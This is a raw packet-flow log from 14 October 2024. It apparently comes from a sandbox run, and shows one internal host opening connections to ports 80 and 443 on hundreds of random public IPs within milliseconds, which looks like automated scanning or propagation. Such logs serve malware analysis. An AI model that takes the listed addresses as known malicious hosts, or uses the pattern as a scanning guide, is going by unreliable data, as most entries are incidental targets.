Oct 14, 2024 17:30:06.894874096 CEST	53274	80	192.168.2.14	165.119.64.196
Oct 14, 2024 17:30:06.894874096 CEST	53274	80	192.168.2.14	143.255.200.217
Oct 14, 2024 17:30:06.894874096 CEST	53274	80	192.168.2.14	84.88.219.128
Oct 14, 2024 17:30:06.894874096 CEST	53274	80	192.168.2.14	138.231.26.216
Oct 14, 2024 17:30:06.894879103 CEST	80	53274	194.197.201.169	192.168.2.14
Oct 14, 2024 17:30:06.894874096 CEST	53274	80	192.168.2.14	169.101.30.27
Oct 14, 2024 17:30:06.894886017 CEST	80	53274	80.114.14.187	192.168.2.14
Oct 14, 2024 17:30:06.894890070 CEST	53274	80	192.168.2.14	51.108.195.17
Oct 14, 2024 17:30:06.894891977 CEST	80	53274	129.137.158.214	192.168.2.14
Oct 14, 2024 17:30:06.894895077 CEST	54042	443	192.168.2.14	5.191.169.163
Oct 14, 2024 17:30:06.894895077 CEST	54042	443	192.168.2.14	5.251.161.84
Oct 14, 2024 17:30:06.894905090 CEST	53274	80	192.168.2.14	196.247.45.22
Oct 14, 2024 17:30:06.894905090 CEST	53274	80	192.168.2.14	163.214.134.37
Oct 14, 2024 17:30:06.894905090 CEST	53274	80	192.168.2.14	84.35.151.71
Oct 14, 2024 17:30:06.894921064 CEST	53274	80	192.168.2.14	181.63.255.108
Oct 14, 2024 17:30:06.894921064 CEST	53274	80	192.168.2.14	129.137.158.214
Oct 14, 2024 17:30:06.894923925 CEST	53274	80	192.168.2.14	80.114.14.187
Oct 14, 2024 17:30:06.894933939 CEST	54042	443	192.168.2.14	178.62.62.77
Oct 14, 2024 17:30:06.894962072 CEST	54042	443	192.168.2.14	5.124.212.202
Oct 14, 2024 17:30:06.894963980 CEST	53274	80	192.168.2.14	194.197.201.169
Oct 14, 2024 17:30:06.894978046 CEST	54042	443	192.168.2.14	5.179.1.74
Oct 14, 2024 17:30:06.894982100 CEST	54042	443	192.168.2.14	117.247.237.60
Oct 14, 2024 17:30:06.894982100 CEST	54042	443	192.168.2.14	2.21.83.140
Oct 14, 2024 17:30:06.894999027 CEST	54042	443	192.168.2.14	5.196.203.130
Oct 14, 2024 17:30:06.894999981 CEST	54042	443	192.168.2.14	117.167.189.32
Oct 14, 2024 17:30:06.895009041 CEST	54042	443	192.168.2.14	117.178.27.76
Oct 14, 2024 17:30:06.895024061 CEST	54042	443	192.168.2.14	2.62.155.4
Oct 14, 2024 17:30:06.895030022 CEST	54042	443	192.168.2.14	42.208.39.125
Oct 14, 2024 17:30:06.895056963 CEST	54042	443	192.168.2.14	178.152.88.251
Oct 14, 2024 17:30:06.895057917 CEST	54042	443	192.168.2.14	37.157.191.241
Oct 14, 2024 17:30:06.895057917 CEST	54042	443	192.168.2.14	94.53.4.174
Oct 14, 2024 17:30:06.895092010 CEST	54042	443	192.168.2.14	37.222.236.126
Oct 14, 2024 17:30:06.895092010 CEST	54042	443	192.168.2.14	210.86.191.240
Oct 14, 2024 17:30:06.895109892 CEST	80	53274	112.145.144.127	192.168.2.14
Oct 14, 2024 17:30:06.895112038 CEST	54042	443	192.168.2.14	178.4.90.196
Oct 14, 2024 17:30:06.895113945 CEST	54042	443	192.168.2.14	2.6.79.165
Oct 14, 2024 17:30:06.895116091 CEST	80	53274	87.23.227.223	192.168.2.14
Oct 14, 2024 17:30:06.895128965 CEST	80	53274	143.2.198.18	192.168.2.14
Oct 14, 2024 17:30:06.895134926 CEST	80	53274	53.112.153.12	192.168.2.14
Oct 14, 2024 17:30:06.895144939 CEST	54042	443	192.168.2.14	123.118.150.45
Oct 14, 2024 17:30:06.895147085 CEST	54042	443	192.168.2.14	109.169.227.40
Oct 14, 2024 17:30:06.895147085 CEST	80	53274	116.191.93.49	192.168.2.14
Oct 14, 2024 17:30:06.895153046 CEST	80	53274	160.172.24.194	192.168.2.14
Oct 14, 2024 17:30:06.895165920 CEST	80	53274	107.28.164.235	192.168.2.14
Oct 14, 2024 17:30:06.895169020 CEST	54042	443	192.168.2.14	79.43.19.110
Oct 14, 2024 17:30:06.895170927 CEST	54042	443	192.168.2.14	5.21.211.16
Oct 14, 2024 17:30:06.895172119 CEST	80	53274	100.164.250.107	192.168.2.14
Oct 14, 2024 17:30:06.895170927 CEST	53274	80	192.168.2.14	87.23.227.223
Oct 14, 2024 17:30:06.895170927 CEST	53274	80	192.168.2.14	112.145.144.127
Oct 14, 2024 17:30:06.895178080 CEST	53274	80	192.168.2.14	143.2.198.18
Oct 14, 2024 17:30:06.895179033 CEST	80	53274	132.214.21.2	192.168.2.14
Oct 14, 2024 17:30:06.895189047 CEST	80	53274	43.198.134.40	192.168.2.14
Oct 14, 2024 17:30:06.895198107 CEST	80	53274	140.212.130.116	192.168.2.14
Oct 14, 2024 17:30:06.895205975 CEST	53274	80	192.168.2.14	53.112.153.12
Oct 14, 2024 17:30:06.895207882 CEST	53274	80	192.168.2.14	116.191.93.49
Oct 14, 2024 17:30:06.895207882 CEST	53274	80	192.168.2.14	160.172.24.194
Oct 14, 2024 17:30:06.895210981 CEST	80	53274	101.169.213.145	192.168.2.14
Oct 14, 2024 17:30:06.895216942 CEST	53274	80	192.168.2.14	107.28.164.235
Oct 14, 2024 17:30:06.895217896 CEST	80	53274	34.179.54.163	192.168.2.14
Oct 14, 2024 17:30:06.895224094 CEST	80	53274	100.167.23.170	192.168.2.14
Oct 14, 2024 17:30:06.895227909 CEST	53274	80	192.168.2.14	100.164.250.107
Oct 14, 2024 17:30:06.895227909 CEST	53274	80	192.168.2.14	132.214.21.2
Oct 14, 2024 17:30:06.895229101 CEST	80	53274	85.131.69.236	192.168.2.14
Oct 14, 2024 17:30:06.895235062 CEST	80	53274	112.21.91.30	192.168.2.14
Oct 14, 2024 17:30:06.895239115 CEST	53274	80	192.168.2.14	140.212.130.116
Oct 14, 2024 17:30:06.895241976 CEST	80	53274	194.148.34.212	192.168.2.14
Oct 14, 2024 17:30:06.895253897 CEST	80	53274	134.54.251.239	192.168.2.14
Oct 14, 2024 17:30:06.895258904 CEST	53274	80	192.168.2.14	101.169.213.145
Oct 14, 2024 17:30:06.895260096 CEST	80	53274	83.64.170.62	192.168.2.14
Oct 14, 2024 17:30:06.895262957 CEST	53274	80	192.168.2.14	43.198.134.40
Oct 14, 2024 17:30:06.895263910 CEST	53274	80	192.168.2.14	100.167.23.170
Oct 14, 2024 17:30:06.895267010 CEST	80	53274	129.210.162.192	192.168.2.14
Oct 14, 2024 17:30:06.895267010 CEST	53274	80	192.168.2.14	34.179.54.163
Oct 14, 2024 17:30:06.895275116 CEST	80	53274	167.150.183.171	192.168.2.14
Oct 14, 2024 17:30:06.895277023 CEST	53274	80	192.168.2.14	194.148.34.212
Oct 14, 2024 17:30:06.895277023 CEST	53274	80	192.168.2.14	85.131.69.236
Oct 14, 2024 17:30:06.895281076 CEST	80	53274	125.79.38.82	192.168.2.14
Oct 14, 2024 17:30:06.895282984 CEST	53274	80	192.168.2.14	112.21.91.30
Oct 14, 2024 17:30:06.895287037 CEST	80	53274	38.23.230.232	192.168.2.14
Oct 14, 2024 17:30:06.895292044 CEST	80	53274	104.221.203.24	192.168.2.14
Oct 14, 2024 17:30:06.895292997 CEST	53274	80	192.168.2.14	134.54.251.239
Oct 14, 2024 17:30:06.895292997 CEST	53274	80	192.168.2.14	83.64.170.62
Oct 14, 2024 17:30:06.895304918 CEST	80	53274	86.17.3.87	192.168.2.14
Oct 14, 2024 17:30:06.895306110 CEST	53274	80	192.168.2.14	129.210.162.192
Oct 14, 2024 17:30:06.895306110 CEST	53274	80	192.168.2.14	167.150.183.171
Oct 14, 2024 17:30:06.895311117 CEST	80	53274	156.178.231.145	192.168.2.14
Oct 14, 2024 17:30:06.895313025 CEST	53274	80	192.168.2.14	125.79.38.82
Oct 14, 2024 17:30:06.895324945 CEST	80	53274	17.217.126.44	192.168.2.14
Oct 14, 2024 17:30:06.895330906 CEST	80	53274	65.17.144.95	192.168.2.14
Oct 14, 2024 17:30:06.895334005 CEST	53274	80	192.168.2.14	104.221.203.24
Oct 14, 2024 17:30:06.895343065 CEST	53274	80	192.168.2.14	38.23.230.232
Oct 14, 2024 17:30:06.895350933 CEST	53274	80	192.168.2.14	86.17.3.87
Oct 14, 2024 17:30:06.895350933 CEST	53274	80	192.168.2.14	156.178.231.145
Oct 14, 2024 17:30:06.895365953 CEST	53274	80	192.168.2.14	65.17.144.95
Oct 14, 2024 17:30:06.895365953 CEST	53274	80	192.168.2.14	17.217.126.44
Oct 14, 2024 17:30:06.895405054 CEST	54042	443	192.168.2.14	117.154.51.147
Oct 14, 2024 17:30:06.895410061 CEST	54042	443	192.168.2.14	117.136.166.91
Oct 14, 2024 17:30:06.895412922 CEST	54042	443	192.168.2.14	5.134.17.203
Oct 14, 2024 17:30:06.895431995 CEST	54042	443	192.168.2.14	109.210.220.237
Oct 14, 2024 17:30:06.895438910 CEST	54042	443	192.168.2.14	2.62.161.210
Oct 14, 2024 17:30:06.895456076 CEST	54042	443	192.168.2.14	178.218.50.252
Oct 14, 2024 17:30:06.895468950 CEST	54042	443	192.168.2.14	42.75.102.247
Oct 14, 2024 17:30:06.895488977 CEST	54042	443	192.168.2.14	212.2.59.67
Oct 14, 2024 17:30:06.895492077 CEST	54042	443	192.168.2.14	79.60.26.86
Oct 14, 2024 17:30:06.895493984 CEST	54042	443	192.168.2.14	94.82.207.153
Oct 14, 2024 17:30:06.895493984 CEST	54042	443	192.168.2.14	2.53.147.123
Oct 14, 2024 17:30:06.895514011 CEST	54042	443	192.168.2.14	109.177.58.110
Oct 14, 2024 17:30:06.895524025 CEST	54042	443	192.168.2.14	37.75.91.159
Oct 14, 2024 17:30:06.895524979 CEST	54042	443	192.168.2.14	148.74.89.134
Oct 14, 2024 17:30:06.895544052 CEST	54042	443	192.168.2.14	42.231.0.206
Oct 14, 2024 17:30:06.895565033 CEST	54042	443	192.168.2.14	212.46.191.220
Oct 14, 2024 17:30:06.895581961 CEST	54042	443	192.168.2.14	123.217.169.168
Oct 14, 2024 17:30:06.895584106 CEST	54042	443	192.168.2.14	178.5.81.218
Oct 14, 2024 17:30:06.895584106 CEST	54042	443	192.168.2.14	42.139.77.154
Oct 14, 2024 17:30:06.895592928 CEST	54042	443	192.168.2.14	123.220.87.208
Oct 14, 2024 17:30:06.895600080 CEST	54042	443	192.168.2.14	2.111.241.55
Oct 14, 2024 17:30:06.895613909 CEST	54042	443	192.168.2.14	94.7.49.47
Oct 14, 2024 17:30:06.895615101 CEST	54042	443	192.168.2.14	210.2.77.210
Oct 14, 2024 17:30:06.895627022 CEST	54042	443	192.168.2.14	2.187.110.99
Oct 14, 2024 17:30:06.895633936 CEST	80	53274	95.5.240.51	192.168.2.14
Oct 14, 2024 17:30:06.895638943 CEST	54042	443	192.168.2.14	212.1.21.92
Oct 14, 2024 17:30:06.895665884 CEST	53274	80	192.168.2.14	95.5.240.51
Oct 14, 2024 17:30:06.895668983 CEST	80	53274	104.248.239.75	192.168.2.14
Oct 14, 2024 17:30:06.895673990 CEST	54042	443	192.168.2.14	109.209.152.183
Oct 14, 2024 17:30:06.895675898 CEST	80	53274	110.51.192.188	192.168.2.14
Oct 14, 2024 17:30:06.895682096 CEST	80	53274	63.133.187.202	192.168.2.14
Oct 14, 2024 17:30:06.895684958 CEST	54042	443	192.168.2.14	148.44.155.17
Oct 14, 2024 17:30:06.895687103 CEST	80	53274	88.22.148.88	192.168.2.14
Oct 14, 2024 17:30:06.895693064 CEST	80	53274	162.206.67.162	192.168.2.14
Oct 14, 2024 17:30:06.895705938 CEST	80	53274	223.23.131.161	192.168.2.14
Oct 14, 2024 17:30:06.895710945 CEST	53274	80	192.168.2.14	63.133.187.202
Oct 14, 2024 17:30:06.895711899 CEST	80	53274	87.249.51.247	192.168.2.14
Oct 14, 2024 17:30:06.895730019 CEST	53274	80	192.168.2.14	162.206.67.162
Oct 14, 2024 17:30:06.895730019 CEST	53274	80	192.168.2.14	223.23.131.161
Oct 14, 2024 17:30:06.895735025 CEST	80	53274	121.157.216.160	192.168.2.14
Oct 14, 2024 17:30:06.895735025 CEST	53274	80	192.168.2.14	88.22.148.88
Oct 14, 2024 17:30:06.895750999 CEST	53274	80	192.168.2.14	87.249.51.247
Oct 14, 2024 17:30:06.895751953 CEST	54042	443	192.168.2.14	118.241.191.188
Oct 14, 2024 17:30:06.895755053 CEST	80	53274	90.20.206.155	192.168.2.14
Oct 14, 2024 17:30:06.895756006 CEST	54042	443	192.168.2.14	123.151.225.37
Oct 14, 2024 17:30:06.895756006 CEST	53274	80	192.168.2.14	104.248.239.75
Oct 14, 2024 17:30:06.895756006 CEST	54042	443	192.168.2.14	117.126.15.232
Oct 14, 2024 17:30:06.895756960 CEST	53274	80	192.168.2.14	110.51.192.188
Oct 14, 2024 17:30:06.895756960 CEST	54042	443	192.168.2.14	123.92.49.69
Oct 14, 2024 17:30:06.895756960 CEST	54042	443	192.168.2.14	109.101.77.19
Oct 14, 2024 17:30:06.895761013 CEST	54042	443	192.168.2.14	5.11.173.214
Oct 14, 2024 17:30:06.895773888 CEST	54042	443	192.168.2.14	5.160.189.61
Oct 14, 2024 17:30:06.895773888 CEST	80	53274	110.199.8.163	192.168.2.14
Oct 14, 2024 17:30:06.895780087 CEST	80	53274	140.224.160.60	192.168.2.14
Oct 14, 2024 17:30:06.895785093 CEST	80	53274	88.0.222.227	192.168.2.14
Oct 14, 2024 17:30:06.895791054 CEST	80	53274	172.217.93.112	192.168.2.14
Oct 14, 2024 17:30:06.895796061 CEST	80	53274	140.195.116.119	192.168.2.14
Oct 14, 2024 17:30:06.895798922 CEST	53274	80	192.168.2.14	90.20.206.155
Oct 14, 2024 17:30:06.895801067 CEST	80	53274	137.120.113.119	192.168.2.14
Oct 14, 2024 17:30:06.895802975 CEST	53274	80	192.168.2.14	110.199.8.163
Oct 14, 2024 17:30:06.895807028 CEST	80	53274	54.115.241.83	192.168.2.14
Oct 14, 2024 17:30:06.895812988 CEST	80	53274	205.70.168.76	192.168.2.14
Oct 14, 2024 17:30:06.895812988 CEST	54042	443	192.168.2.14	210.31.43.26
Oct 14, 2024 17:30:06.895812988 CEST	53274	80	192.168.2.14	121.157.216.160
Oct 14, 2024 17:30:06.895818949 CEST	80	53274	121.96.56.29	192.168.2.14
Oct 14, 2024 17:30:06.895823956 CEST	53274	80	192.168.2.14	88.0.222.227
Oct 14, 2024 17:30:06.895823956 CEST	53274	80	192.168.2.14	140.224.160.60
Oct 14, 2024 17:30:06.895823956 CEST	80	53274	189.186.132.144	192.168.2.14
Oct 14, 2024 17:30:06.895823956 CEST	54042	443	192.168.2.14	202.244.32.178
Oct 14, 2024 17:30:06.895834923 CEST	80	53274	46.167.243.234	192.168.2.14
Oct 14, 2024 17:30:06.895839930 CEST	80	53274	165.232.52.24	192.168.2.14
Oct 14, 2024 17:30:06.895840883 CEST	54042	443	192.168.2.14	109.60.94.66
Oct 14, 2024 17:30:06.895843029 CEST	53274	80	192.168.2.14	140.195.116.119
Oct 14, 2024 17:30:06.895844936 CEST	53274	80	192.168.2.14	172.217.93.112
Oct 14, 2024 17:30:06.895845890 CEST	80	53274	24.225.52.136	192.168.2.14
Oct 14, 2024 17:30:06.895852089 CEST	80	53274	104.90.142.237	192.168.2.14
Oct 14, 2024 17:30:06.895853996 CEST	53274	80	192.168.2.14	54.115.241.83
Oct 14, 2024 17:30:06.895858049 CEST	80	53274	137.185.160.173	192.168.2.14
Oct 14, 2024 17:30:06.895859957 CEST	53274	80	192.168.2.14	137.120.113.119
Oct 14, 2024 17:30:06.895869970 CEST	54042	443	192.168.2.14	5.189.196.193
Oct 14, 2024 17:30:06.895869970 CEST	80	53274	114.174.177.133	192.168.2.14
Oct 14, 2024 17:30:06.895879030 CEST	53274	80	192.168.2.14	205.70.168.76
Oct 14, 2024 17:30:06.895880938 CEST	80	53274	138.177.107.34	192.168.2.14
Oct 14, 2024 17:30:06.895880938 CEST	53274	80	192.168.2.14	189.186.132.144
Oct 14, 2024 17:30:06.895880938 CEST	53274	80	192.168.2.14	46.167.243.234
Oct 14, 2024 17:30:06.895880938 CEST	53274	80	192.168.2.14	165.232.52.24
Oct 14, 2024 17:30:06.895888090 CEST	80	53274	184.94.229.190	192.168.2.14
Oct 14, 2024 17:30:06.895890951 CEST	53274	80	192.168.2.14	24.225.52.136
Oct 14, 2024 17:30:06.895898104 CEST	53274	80	192.168.2.14	137.185.160.173
Oct 14, 2024 17:30:06.895911932 CEST	53274	80	192.168.2.14	114.174.177.133
Oct 14, 2024 17:30:06.895911932 CEST	54042	443	192.168.2.14	202.116.65.11
Oct 14, 2024 17:30:06.895914078 CEST	53274	80	192.168.2.14	104.90.142.237
Oct 14, 2024 17:30:06.895914078 CEST	54042	443	192.168.2.14	210.119.110.225
Oct 14, 2024 17:30:06.895915031 CEST	53274	80	192.168.2.14	121.96.56.29
Oct 14, 2024 17:30:06.895915985 CEST	54042	443	192.168.2.14	118.173.249.31
Oct 14, 2024 17:30:06.895915985 CEST	54042	443	192.168.2.14	123.29.100.121
Oct 14, 2024 17:30:06.895920038 CEST	53274	80	192.168.2.14	138.177.107.34
Oct 14, 2024 17:30:06.895920038 CEST	54042	443	192.168.2.14	118.212.186.159
Oct 14, 2024 17:30:06.895934105 CEST	53274	80	192.168.2.14	184.94.229.190
Oct 14, 2024 17:30:06.895936966 CEST	54042	443	192.168.2.14	109.97.133.165
Oct 14, 2024 17:30:06.895968914 CEST	54042	443	192.168.2.14	42.238.176.32
Oct 14, 2024 17:30:06.895981073 CEST	54042	443	192.168.2.14	37.159.255.42
Oct 14, 2024 17:30:06.895994902 CEST	54042	443	192.168.2.14	123.232.241.144
Oct 14, 2024 17:30:06.895997047 CEST	54042	443	192.168.2.14	118.188.50.25
Oct 14, 2024 17:30:06.895997047 CEST	54042	443	192.168.2.14	148.82.164.241
Oct 14, 2024 17:30:06.896012068 CEST	54042	443	192.168.2.14	37.202.12.225
Oct 14, 2024 17:30:06.896014929 CEST	54042	443	192.168.2.14	210.162.76.138
Oct 14, 2024 17:30:06.896017075 CEST	80	53274	5.227.162.240	192.168.2.14
Oct 14, 2024 17:30:06.896018982 CEST	54042	443	192.168.2.14	118.153.126.248
Oct 14, 2024 17:30:06.896023989 CEST	80	53274	92.21.98.220	192.168.2.14
Oct 14, 2024 17:30:06.896025896 CEST	54042	443	192.168.2.14	2.36.172.155
Oct 14, 2024 17:30:06.896028996 CEST	80	53274	174.47.178.64	192.168.2.14
Oct 14, 2024 17:30:06.896037102 CEST	54042	443	192.168.2.14	79.64.165.213
Oct 14, 2024 17:30:06.896040916 CEST	54042	443	192.168.2.14	148.134.167.184
Oct 14, 2024 17:30:06.896048069 CEST	80	53274	200.8.109.25	192.168.2.14
Oct 14, 2024 17:30:06.896054983 CEST	80	53274	205.177.252.169	192.168.2.14
Oct 14, 2024 17:30:06.896058083 CEST	53274	80	192.168.2.14	5.227.162.240
Oct 14, 2024 17:30:06.896063089 CEST	53274	80	192.168.2.14	92.21.98.220
Oct 14, 2024 17:30:06.896084070 CEST	53274	80	192.168.2.14	174.47.178.64
Oct 14, 2024 17:30:06.896086931 CEST	53274	80	192.168.2.14	205.177.252.169
Oct 14, 2024 17:30:06.896087885 CEST	53274	80	192.168.2.14	200.8.109.25
Oct 14, 2024 17:30:06.896107912 CEST	54042	443	192.168.2.14	117.70.31.41
Oct 14, 2024 17:30:06.896109104 CEST	54042	443	192.168.2.14	79.124.229.96
Oct 14, 2024 17:30:06.896142960 CEST	54042	443	192.168.2.14	123.214.182.55
Oct 14, 2024 17:30:06.896157980 CEST	54042	443	192.168.2.14	37.74.168.42
Oct 14, 2024 17:30:06.896159887 CEST	54042	443	192.168.2.14	202.194.152.40
Oct 14, 2024 17:30:06.896159887 CEST	54042	443	192.168.2.14	109.2.10.27
Oct 14, 2024 17:30:06.896167040 CEST	54042	443	192.168.2.14	117.113.226.220
Oct 14, 2024 17:30:06.896176100 CEST	54042	443	192.168.2.14	148.47.70.67
Oct 14, 2024 17:30:06.896217108 CEST	54042	443	192.168.2.14	37.63.40.171
Oct 14, 2024 17:30:06.896224976 CEST	54042	443	192.168.2.14	79.68.187.178
Oct 14, 2024 17:30:06.896229029 CEST	54042	443	192.168.2.14	148.125.48.102
Oct 14, 2024 17:30:06.896244049 CEST	54042	443	192.168.2.14	2.129.7.99
Oct 14, 2024 17:30:06.896245956 CEST	54042	443	192.168.2.14	210.238.70.54
Oct 14, 2024 17:30:06.896246910 CEST	54042	443	192.168.2.14	210.8.93.191
Oct 14, 2024 17:30:06.896246910 CEST	54042	443	192.168.2.14	37.217.110.161
Oct 14, 2024 17:30:06.896253109 CEST	54042	443	192.168.2.14	178.37.244.26
Oct 14, 2024 17:30:06.896253109 CEST	54042	443	192.168.2.14	37.45.149.233
Oct 14, 2024 17:30:06.896265984 CEST	54042	443	192.168.2.14	109.64.147.68
Oct 14, 2024 17:30:06.896269083 CEST	54042	443	192.168.2.14	202.87.59.233
Oct 14, 2024 17:30:06.896286011 CEST	54042	443	192.168.2.14	202.80.116.249
Oct 14, 2024 17:30:06.896286964 CEST	54042	443	192.168.2.14	148.228.173.82
Oct 14, 2024 17:30:06.896326065 CEST	54042	443	192.168.2.14	202.141.0.195
Oct 14, 2024 17:30:06.896342039 CEST	54042	443	192.168.2.14	42.109.244.98
Oct 14, 2024 17:30:06.896342993 CEST	54042	443	192.168.2.14	148.2.31.213
Oct 14, 2024 17:30:06.896344900 CEST	54042	443	192.168.2.14	37.68.138.194
Oct 14, 2024 17:30:06.896346092 CEST	54042	443	192.168.2.14	5.99.233.106
Oct 14, 2024 17:30:06.896346092 CEST	54042	443	192.168.2.14	178.217.147.249
Oct 14, 2024 17:30:06.896364927 CEST	54042	443	192.168.2.14	42.41.116.88
Oct 14, 2024 17:30:06.896364927 CEST	54042	443	192.168.2.14	202.9.92.114
Oct 14, 2024 17:30:06.896394014 CEST	54042	443	192.168.2.14	148.128.4.13
Oct 14, 2024 17:30:06.896397114 CEST	54042	443	192.168.2.14	42.32.74.199
Oct 14, 2024 17:30:06.896397114 CEST	54042	443	192.168.2.14	109.179.178.212
Oct 14, 2024 17:30:06.896410942 CEST	80	53274	95.153.45.68	192.168.2.14
Oct 14, 2024 17:30:06.896418095 CEST	80	53274	122.130.233.97	192.168.2.14
Oct 14, 2024 17:30:06.896423101 CEST	80	53274	2.245.56.195	192.168.2.14
Oct 14, 2024 17:30:06.896429062 CEST	80	53274	34.218.218.190	192.168.2.14
Oct 14, 2024 17:30:06.896435022 CEST	80	53274	9.129.108.25	192.168.2.14
Oct 14, 2024 17:30:06.896440983 CEST	80	53274	220.136.183.200	192.168.2.14
Oct 14, 2024 17:30:06.896446943 CEST	80	53274	147.134.31.42	192.168.2.14
Oct 14, 2024 17:30:06.896460056 CEST	80	53274	64.172.72.195	192.168.2.14
Oct 14, 2024 17:30:06.896464109 CEST	53274	80	192.168.2.14	2.245.56.195
Oct 14, 2024 17:30:06.896466970 CEST	80	53274	93.209.179.120	192.168.2.14
Oct 14, 2024 17:30:06.896466970 CEST	54042	443	192.168.2.14	37.0.81.174
Oct 14, 2024 17:30:06.896469116 CEST	53274	80	192.168.2.14	95.153.45.68
Oct 14, 2024 17:30:06.896475077 CEST	53274	80	192.168.2.14	122.130.233.97
Oct 14, 2024 17:30:06.896481037 CEST	80	53274	197.60.211.31	192.168.2.14
Oct 14, 2024 17:30:06.896486998 CEST	53274	80	192.168.2.14	220.136.183.200
Oct 14, 2024 17:30:06.896486998 CEST	80	53274	58.38.176.1	192.168.2.14
Oct 14, 2024 17:30:06.896486998 CEST	53274	80	192.168.2.14	9.129.108.25
Oct 14, 2024 17:30:06.896493912 CEST	80	53274	64.232.128.71	192.168.2.14
Oct 14, 2024 17:30:06.896493912 CEST	53274	80	192.168.2.14	34.218.218.190
Oct 14, 2024 17:30:06.896501064 CEST	80	53274	143.193.12.170	192.168.2.14
Oct 14, 2024 17:30:06.896507978 CEST	80	53274	81.128.69.228	192.168.2.14
Oct 14, 2024 17:30:06.896508932 CEST	53274	80	192.168.2.14	93.209.179.120
Oct 14, 2024 17:30:06.896512032 CEST	53274	80	192.168.2.14	197.60.211.31
Oct 14, 2024 17:30:06.896513939 CEST	80	53274	47.145.10.111	192.168.2.14
Oct 14, 2024 17:30:06.896528006 CEST	80	53274	107.31.203.251	192.168.2.14
Oct 14, 2024 17:30:06.896533966 CEST	53274	80	192.168.2.14	147.134.31.42
Oct 14, 2024 17:30:06.896534920 CEST	53274	80	192.168.2.14	64.172.72.195
Oct 14, 2024 17:30:06.896534920 CEST	53274	80	192.168.2.14	58.38.176.1
Oct 14, 2024 17:30:06.896537066 CEST	80	53274	173.52.142.198	192.168.2.14
Oct 14, 2024 17:30:06.896536112 CEST	53274	80	192.168.2.14	143.193.12.170
Oct 14, 2024 17:30:06.896536112 CEST	54042	443	192.168.2.14	212.5.80.123
Oct 14, 2024 17:30:06.896543980 CEST	80	53274	204.81.133.251	192.168.2.14
Oct 14, 2024 17:30:06.896545887 CEST	54042	443	192.168.2.14	42.94.155.11
Oct 14, 2024 17:30:06.896548986 CEST	53274	80	192.168.2.14	64.232.128.71
Oct 14, 2024 17:30:06.896549940 CEST	80	53274	99.132.16.101	192.168.2.14
Oct 14, 2024 17:30:06.896558046 CEST	80	53274	124.154.86.38	192.168.2.14
Oct 14, 2024 17:30:06.896559954 CEST	54042	443	192.168.2.14	118.43.97.69
Oct 14, 2024 17:30:06.896562099 CEST	53274	80	192.168.2.14	81.128.69.228
Oct 14, 2024 17:30:06.896563053 CEST	53274	80	192.168.2.14	47.145.10.111
Oct 14, 2024 17:30:06.896567106 CEST	53274	80	192.168.2.14	173.52.142.198
Oct 14, 2024 17:30:06.896574974 CEST	53274	80	192.168.2.14	107.31.203.251
Oct 14, 2024 17:30:06.896579027 CEST	53274	80	192.168.2.14	204.81.133.251
Oct 14, 2024 17:30:06.896590948 CEST	80	53274	57.51.239.38	192.168.2.14
Oct 14, 2024 17:30:06.896598101 CEST	80	53274	24.36.56.100	192.168.2.14
Oct 14, 2024 17:30:06.896603107 CEST	54042	443	192.168.2.14	123.93.27.249
Oct 14, 2024 17:30:06.896604061 CEST	80	53274	17.60.38.16	192.168.2.14
Oct 14, 2024 17:30:06.896608114 CEST	53274	80	192.168.2.14	99.132.16.101
Oct 14, 2024 17:30:06.896611929 CEST	80	53274	58.205.18.61	192.168.2.14
Oct 14, 2024 17:30:06.896611929 CEST	54042	443	192.168.2.14	109.239.159.201
Oct 14, 2024 17:30:06.896611929 CEST	54042	443	192.168.2.14	42.29.215.200
Oct 14, 2024 17:30:06.896615028 CEST	54042	443	192.168.2.14	2.40.169.80
Oct 14, 2024 17:30:06.896617889 CEST	80	53274	218.95.9.46	192.168.2.14
Oct 14, 2024 17:30:06.896631002 CEST	80	53274	191.38.129.100	192.168.2.14
Oct 14, 2024 17:30:06.896636009 CEST	53274	80	192.168.2.14	57.51.239.38
Oct 14, 2024 17:30:06.896636009 CEST	53274	80	192.168.2.14	24.36.56.100
Oct 14, 2024 17:30:06.896636963 CEST	54042	443	192.168.2.14	2.108.34.32
Oct 14, 2024 17:30:06.896640062 CEST	53274	80	192.168.2.14	124.154.86.38
Oct 14, 2024 17:30:06.896640062 CEST	53274	80	192.168.2.14	17.60.38.16
Oct 14, 2024 17:30:06.896646023 CEST	53274	80	192.168.2.14	218.95.9.46
Oct 14, 2024 17:30:06.896650076 CEST	80	53274	138.231.230.126	192.168.2.14
Oct 14, 2024 17:30:06.896656036 CEST	80	53274	178.89.199.224	192.168.2.14
Oct 14, 2024 17:30:06.896658897 CEST	54042	443	192.168.2.14	109.34.134.244
Oct 14, 2024 17:30:06.896672010 CEST	53274	80	192.168.2.14	58.205.18.61
Oct 14, 2024 17:30:06.896672010 CEST	53274	80	192.168.2.14	191.38.129.100
Oct 14, 2024 17:30:06.896688938 CEST	53274	80	192.168.2.14	138.231.230.126
Oct 14, 2024 17:30:06.896698952 CEST	53274	80	192.168.2.14	178.89.199.224
Oct 14, 2024 17:30:06.896698952 CEST	54042	443	192.168.2.14	79.22.15.76
Oct 14, 2024 17:30:06.896714926 CEST	54042	443	192.168.2.14	212.231.221.100
Oct 14, 2024 17:30:06.896718025 CEST	54042	443	192.168.2.14	178.38.212.195
Oct 14, 2024 17:30:06.896719933 CEST	54042	443	192.168.2.14	178.179.119.149
Oct 14, 2024 17:30:06.896742105 CEST	54042	443	192.168.2.14	212.164.54.38
Oct 14, 2024 17:30:06.896742105 CEST	54042	443	192.168.2.14	109.134.6.101
Oct 14, 2024 17:30:06.896759033 CEST	54042	443	192.168.2.14	37.37.253.81
Oct 14, 2024 17:30:06.896759033 CEST	54042	443	192.168.2.14	118.63.222.154
Oct 14, 2024 17:30:06.896774054 CEST	54042	443	192.168.2.14	178.145.177.44
Oct 14, 2024 17:30:06.896781921 CEST	54042	443	192.168.2.14	109.114.15.4
Oct 14, 2024 17:30:06.896781921 CEST	54042	443	192.168.2.14	79.64.153.33
Oct 14, 2024 17:30:06.896786928 CEST	54042	443	192.168.2.14	178.133.13.86
Oct 14, 2024 17:30:06.896801949 CEST	54042	443	192.168.2.14	42.85.183.8
Oct 14, 2024 17:30:06.896806955 CEST	54042	443	192.168.2.14	5.170.120.82
Oct 14, 2024 17:30:06.896806955 CEST	54042	443	192.168.2.14	79.162.53.122
Oct 14, 2024 17:30:06.896815062 CEST	54042	443	192.168.2.14	202.105.237.118
Oct 14, 2024 17:30:06.896833897 CEST	54042	443	192.168.2.14	94.23.91.200
Oct 14, 2024 17:30:06.896836042 CEST	54042	443	192.168.2.14	117.14.139.43
Oct 14, 2024 17:30:06.896861076 CEST	54042	443	192.168.2.14	94.159.101.58
